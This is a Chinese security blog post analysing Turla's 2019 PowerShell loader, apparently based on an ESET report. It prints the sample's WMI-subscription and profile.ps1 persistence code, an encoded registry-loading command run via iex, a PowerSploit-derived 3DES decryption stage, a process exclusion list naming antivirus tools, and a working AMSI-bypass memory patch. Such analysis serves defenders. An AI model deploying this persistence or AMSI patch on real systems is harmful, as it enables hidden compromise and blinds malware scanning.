前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Turla PowerShell攻击手法学习

Turla PowerShell攻击手法学习

作者头像
黑白天安全
发布2021-12-05 09:56:07
7540
发布2021-12-05 09:56:07
举报

这个样本是在2019年5月中使用的一个powershell样本。

背景

Turla,也被称为 Snake,是一个臭名昭著的间谍组织,以其复杂的恶意软件而闻名。Turla 至少从 2008 年就开始运作,当时它成功攻击了美国军队。最近,它参与了对德国外交部和法国军队的重大攻击事件。

为了混淆检测,在2019年中开始使用 PowerShell 脚本,这些脚本提供恶意软件可执行文件和库的直接内存加载和执行的能力。

在2018 年中,卡巴斯基实验室发布了一份报告,分析了基于开源项目Posh-SecMod的 Turla PowerShell 加载器。然而,当时它有很多问题,例如经常崩溃。

在2019年中,Turla 改进了这些脚本,可以使用它们从其传统武器库中加载各种自定义恶意软件。

这个样本是在东欧中的一次攻击中发现的。

PowerShell 加载器

PowerShell 加载器具有三个主要步骤:持久化、解密和加载到嵌入式可执行文件或库的内存中。

持久化

在样本中的powershell脚本中会利用进行维权操作,这个样本中我们可以知道使用了2种方法进行维权:

Windows Management Instrumentation (WMI) 事件订阅

PowerShell 配置文件(profile.ps1文件)的更改。

Windows 管理规范

在第一种情况下,攻击者创建两个 WMI事件过滤器和两个 WMI事件操作(Consumer)。Consumer只是启动 base64 编码的 PowerShell 命令的命令行,然后加载存储在 Windows 注册表中的PowerShell 脚本。

代码语言:javascript
复制
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Syslog Consumer'" | Remove-WmiObject;

$NLP35gh = Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer' -Arguments @{ name = 'Syslog Consumer'; CommandLineTemplate = "$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -enc $HL39fjh"; RunInteractively = 'false' };

Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Log Adapter Filter'" | Remove-WmiObject;
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Log Adapter' } | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=15 AND TargetInstance.Minute=30 AND TargetInstance.Second=40";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ name = 'Log Adapter Filter'; EventNameSpace = 'root\CimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };

Get-WmiObject __eventFilter -namespace root\subscription -filter "name='AD Bridge Filter'" | Remove-WmiObject;
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'AD Bridge' } | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300 AND TargetInstance.SystemUpTime < 400";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ name = 'AD Bridge Filter'; EventNameSpace = 'root\CimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };

这些事件将分别在 15:30:40 和系统正常运行时间在 300 到 400 秒之间运行。变量$HL39fjh包含 base64 编码的 PowerShell 命令,它读取存储加密负载的 Windows 注册表项,并包含解密负载所需的密码和盐。

代码语言:javascript
复制
[System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("<base64-encoded password and salt">)) | iex ;[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((Get-ItemProperty '$ZM172da').'$WY79ad')) | iex

最后,脚本将加密的有效负载存储在 Windows 注册表中。我们观察到攻击者似乎对每个目标使用不同的注册表位置。

Profile.ps1

在后一种情况下,攻击者会更改 PowerShell 配置文件。

根据微软文档:

代码语言:javascript
复制
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.2&viewFallbackFrom=powershell-6
代码语言:javascript
复制
You can create a PowerShell profile to customize your environment and to add session-specific elements to every PowerShell session that you start.
A PowerShell profile is a script that runs when PowerShell starts. You can use the profile as a logon script to customize the environment. You can add commands, aliases, functions, variables, snap-ins, modules, and PowerShell drives. You can also add other session-specific elements to your profile so they are available in every session without having to import or re-create them.
PowerShell supports several profiles for users and host programs. However, it does not create the profiles for you. This topic describes the profiles, and it describes how to create and maintain profiles on your computer.
It explains how to use the NoProfile parameter of the PowerShell console (PowerShell.exe) to start PowerShell without any profiles. And, it explains the effect of the PowerShell execution policy on profiles.

PowerShell 配置文件是在 PowerShell 启动时运行的脚本。我们可以将配置文件用作登录脚本来自定义环境。我们也可以添加命令、别名、函数、变量、管理单元、模块和 PowerShell 驱动器。

在样本中,Turla 修改的 PowerShell 配置文件:

代码语言:javascript
复制
try
{
    $SystemProc = (Get-WmiObject 'Win32_Process' | ?{$_.ProcessId -eq $PID} |  % {Invoke-WmiMethod -InputObject $_ -Name 'GetOwner'} | ?{(Get-WmiObject -Class Win32_Account -Filter "name='$($_.User)'").SID -eq "S-1-5-18"})
    if ("$SystemProc" -ne "")
    {
      $([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("<m>$([DateTime]::Now.ToString('G')): STARTED </m>") | %{ $_ -bxor 0xAA })) + "|") | Out-File 'C:\Users\Public\Downloads\thumbs.ini' -Append;
      [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("IABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBKAEYAZABJAFIAegBRADQATQBXAFIAawBJAEQAMABuAFEAMQBsAEQAVgBEAE0ANQBNAHoAUQB3AFoAbQBaAG8ASgB6AHMAZwBKAEUAWgBaAE4AVABKAGoAWgBUADAAbgBUAGsATgBEAFUAagBrADUATgB6AEIAbwBaAG0AaABqAEoAegBzAGcASQBBAD0APQAiACkAKQAgAHwAIABpAGUAeAAgADsAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAQQBjAHQAaQB2AGUAWAAgAEMAbwBtAHAAYQB0AGkAYgBpAGwAaQB0AHkAXAB7ADIAMgA2AGUAZAA1ADMAMwAtAGYAMQBiADAALQA0ADgAMQBkAC0AYQBkADIANgAtADAAYQBlADcAOABiAGMAZQA4ADEAZAA3AH0AJwApAC4AJwAoAEQAZQBmAGEAdQBsAHQAKQAnACkAKQAgAHwAIABpAGUAeAA=")) | iex | Out-Null;
      kill $PID;
    }
}
catch{$([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("<m>$([DateTime]::Now.ToString('G')): $_ </m>") | %{ $_ -bxor 0xAA })) + "|") | Out-File 'C:\Users\Public\Downloads\thumbs.ini' -Append}

base64 编码的 PowerShell 命令与 WMI Consumer中使用的命令非常相似。

解密

存储在 Windows 注册表中的负载是另一个 PowerShell 脚本。它是使用渗透测试框架PowerSploit 中的开源脚本Out-EncryptedScript.ps1生成的。

变量名被随机化:

代码语言:javascript
复制
$GSP540cd = "<base64 encoded + encrypted payload>";
$RS99ggf = $XZ228hha.GetBytes("PINGQXOMQFTZGDZX");
$STD33abh = [Convert]::FromBase64String($GSP540cd);
$SB49gje = New-Object System.Security.Cryptography.PasswordDeriveBytes($IY51aab, $XZ228hha.GetBytes($CBI61aeb), "SHA1", 2);
[Byte[]]$XYW18ja = $SB49gje.GetBytes(16);
$EN594ca = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider;
$EN594ca.Mode = [System.Security.Cryptography.CipherMode]::CBC;
[Byte[]]$ID796ea = New-Object Byte[]($STD33abh.Length);
$ZQD772bf = $EN594ca.CreateDecryptor($XYW18ja, $RS99ggf);
$DCR12ffg = New-Object System.IO.MemoryStream($STD33abh, $True);
$WG731ff = New-Object System.Security.Cryptography.CryptoStream($DCR12ffg, $ZQD772bf, [System.Security.Cryptography.CryptoStreamMode]::Read);
$XBD387bb = $WG731ff.Read($ID796ea, 0, $ID796ea.Length);
$OQ09hd = [YR300hf]::IWM01jdg($ID796ea);
$DCR12ffg.Close();
$WG731ff.Close();
$EN594ca.Clear();
return $XZ228hha.GetString($OQ09hd,0,$OQ09hd.Length);

有效载荷使用3DES算法解密。本示例中的初始化向量PINGQXOMQFTZGDZX对每个样本都不同。

每个脚本的key和salt也不同,不存储在脚本中,而只存储在WMI过滤器或profile.ps1文件中。

PE loader

在上一步解密的有效负载是一个 PowerShell 反射加载器。它基于来自同一个 PowerSploit 框架的脚本Invoke-ReflectivePEInjection.ps1。可执行文件硬编码在脚本中,并注入目标系统上运行的随机选择的进程的内存中。

在一些示例中,攻击者指定了不注入二进制文件的可执行文件列表

代码语言:javascript
复制
$IgnoreNames = @(
   "smss.exe","csrss.exe","wininit.exe","winlogon.exe","lsass.exe","lsm.exe","svchost.exe","avp.exe","avpsus.exe","klnagent.exe","vapm.exe","spoolsv.exe"
   );

AMSI 旁路

在 2019 年 3 月以来部署的一些示例中,Turla 开发人员修改了他们的 PowerShell 脚本以绕过反恶意软件扫描接口 (AMSI)。

但是他们没有找到新的绕过方法,而是重新使用了在 2018 年 Black Hat Asia 上的演讲The Rise and Fall of AMSI 中提出的技术。它由库amsi.dll 中函数AmsiScanBuffer开头的内存补丁组成。

PowerShell 脚本加载 .NET 可执行文件以检索AmsiScanBuffer的地址。然后,它调用VirtualProtect以允许在检索到的地址进行写入。

最后,修补直接在 PowerShell 脚本中完成。它将AmsiScanBuffer的开头修改为始终返回 1 ( AMSI_RESULT_NOT_DETECTED )。因此,反恶意软件产品将不会接收缓冲区,从而阻止任何扫描。

代码语言:javascript
复制
$ptr = [Win32]::FindAmsiFun();
if($ptr -eq 0)
{
  Write-Host "protection not found"
}
else
{
  if([IntPtr]::size -eq 4)
  {
    Write-Host "x32 protection detected"
    $buf = New-Object Byte[] 7
    $buf[0] = 0x66; $buf[1] = 0xb8; $buf[2] = 0x01; $buf[3] = 0x00; $buf[4] = 0xc2; $buf[5] = 0x18; $buf[6] = 0x00; #mov ax, 1 ;ret 0x18;
    $c = [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 7)
  }
  else
  {
    Write-Host "x64 protection detected"
    $buf = New-Object Byte[] 6
    $buf[0] = 0xb8; $buf[1] = 0x01; $buf[2] = 0x00; $buf[3] = 0x00; $buf[4] = 0x00; $buf[5] = 0xc3;  #mov eax, 1 ;ret;
    $c = [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 6)
  }


}

https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-11-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Windows 管理规范
  • PE loader
相关产品与服务
对象存储
对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档